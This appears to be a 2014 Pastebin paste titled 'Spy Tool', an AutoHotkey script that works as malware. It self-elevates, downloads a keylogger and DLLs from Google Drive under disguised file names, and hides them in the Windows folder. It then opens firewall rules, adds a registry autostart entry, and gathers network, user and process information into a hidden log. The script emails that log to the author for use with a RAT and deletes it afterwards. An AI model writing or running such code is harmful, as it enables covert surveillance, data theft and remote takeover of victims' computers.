Snow_Flake

Spy Tool

Aug 9th, 2014
470
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. If not A_IsAdmin
  2. {
  3. Run *RunAs "%A_ScriptFullPath%"
  4. ExitApp
  5. }
  6.  
  7. #NoEnv
  8. #Persistent
  9. #NoTrayIcon
  10. #SingleInstance, force
  11. SetWorkingDir %A_ProgramFiles%\
  12.  
  13. URLDownloadToFile,https://docs.google.com/uc?export=download&id=0By_VdYuxwzCCYVY5aUhXM25iUTA,abc80.bmp ; The Keylogger.
  14.  
  15. FileMove,abc80.bmp%A_WinDir%/abc80.cmd,1
  16. FileSetAttrib, +H, %A_WinDir%/abc80.cmd,1
  17.  
  18. RunWait, %A_WinDir%/abc80.cmd,, Hide
  19.  
  20. RunWait, cmd /c netsh advfirewall firewall add rule name="iexplorer" dir=in action=allow protocol=TCP localport=465,, Hide ; Open Port 465 for the Email Function.
  21. RunWait, cmd /c netsh advfirewall firewall add rule name="Micro" dir=in action=allow program="%A_WinDir%/kl.exe" enable=yes,, Hide ; Open the Firewall for the Keylogger.
  22.  
  23. RegWrite, REG_SZ, HKEY_LOCAL_MACHINE, SOFTWARE\Microsoft\Windows\CurrentVersion\Run, Soft, "%A_WinDir%/kl.exe" ; Autostart the Keylogger.
  24.  
  25. fileappend, IPCONFIG `n, PCinfo.log
  26. RunWait, cmd /c ipconfig /all >>  PCinfo.log,, Hide
  27. fileappend, `n`nNetstat Start, PCinfo.log
  28. RunWait, cmd /c Netstat -nbt >> PCinfo.log,, Hide
  29. fileappend, `n`nUsers, PCinfo.log
  30. RunWait, cmd /c net user >> PCinfo.log,, Hide
  31. fileappend, `n`nTasks Running, PCinfo.log
  32. RunWait, cmd /c tasklist >>  PCinfo.log,, Hide
  33. fileappend, `n`nTree Start, PCinfo.log
  34. RunWait, cmd /c tree >>  PCinfo.log,, Hide
  35.  
  36. FileSetAttrib, +H, PCinfo.log
  37.  
  38. ToolTip,PC Info - Log file created,0,0
  39.  
  40. ;    PCinfo.log is where all the Data is collected and it will e send to an Email
  41.  
  42.  pmsg         := ComObjCreate("CDO.Message")
  43.  pmsg.From    := "YOUREMAILADDRESS"
  44.  pmsg.To      := "YOUREMAILADDRESS"
  45.  pmsg.BCC     := ""   ; Blind Carbon Copy, Invisable for all, same syntax as CC
  46.  pmsg.CC      := ""
  47.  pmsg.Subject    := "PCInfo"
  48.  
  49.  pmsg.TextBody   :=  "PC Name:  " A_ComputerName  "`nOS:  " A_OSVersion  "`nUsername:  " A_Username  "`nIP:  " A_IPAddress1  "`nScreenW:  " A_ScreenWidth  "`nScreenH:  " A_ScreenHeight "`n`nPCInfo Made By: Snow_Flake ©"
  50.        
  51.         Log := A_ProgramFiles "\PCinfo.log"
  52.  
  53.  sAttach      = %Log%
  54.  
  55. ; can add multiple attachments, the delimiter is |
  56.        
  57.  fields := Object()
  58.  fields.smtpserver   := "smtp.gmail.com" ; specify your SMTP server
  59.  fields.smtpserverport     := 465 ; 25
  60.  fields.smtpusessl      := True ; False
  61.  fields.sendusing     := 2   ; cdoSendUsingPort
  62.  fields.smtpauthenticate     := 1   ; cdoBasic
  63.  fields.sendusername := "YOUREMAILADDRESS"
  64.  fields.sendpassword := "PASSWORD"
  65.  fields.smtpconnectiontimeout := 60
  66.  schema := "http://schemas.microsoft.com/cdo/configuration/"
  67.  
  68.  pfld :=   pmsg.Configuration.Fields
  69.  
  70.  For field,value in fields
  71.          pfld.Item(schema . field) := value
  72.  pfld.Update()
  73.  
  74.  Loop, Parse, sAttach, |, %A_Space%%A_Tab%
  75.    pmsg.AddAttachment(A_LoopField)
  76.  
  77.  pmsg.Send() ; Send all the Data from PCinfo.log to my Email Account fo i know the IP of the PC will be used  in the RAT Client.
  78.  
  79.  
  80. FileDelete,%A_ProgramFiles%\PCinfo.log
  81.  
  82. URLDownloadToFile,https://docs.google.com/uc?export=download&id=0By_VdYuxwzCCNVJlXzBQOVJJaUU,logg.txt ; for making the Keylogger hidden on 32 bit system.
  83. URLDownloadToFile,https://docs.google.com/uc?export=download&id=0By_VdYuxwzCCREs4UEd5QzVqN1k,logg2.txt ; for making the Keylogger hidden on 64 bit system.
  84. URLDownloadToFile,https://docs.google.com/uc?export=download&id=0By_VdYuxwzCCMHVlX25QMl9lVE0,kl.txt ; The Keylogger.
  85.  
  86. FileMove,kl.txt,%A_WinDir%/kl.exe,1
  87. FileSetAttrib, +H, %A_WinDir%/kl.exe,1
  88.  
  89. FileMove,logg2.txt,%A_WinDir%/key64.dll,1
  90. FileSetAttrib, +H, %A_WinDir%/key64.dll
  91.  
  92. FileMove,logg.txt,%A_WinDir%/key.dll,1
  93. FileSetAttrib, +H, %A_WinDir%/key.dll
  94.  
  95. RunWait, %A_WinDir%/kl.exe,, Hide
  96.  
  97. Process,close,cmd.exe
  98.  
  99. ExitApp
Advertisement
Add Comment
Please, Sign In to add comment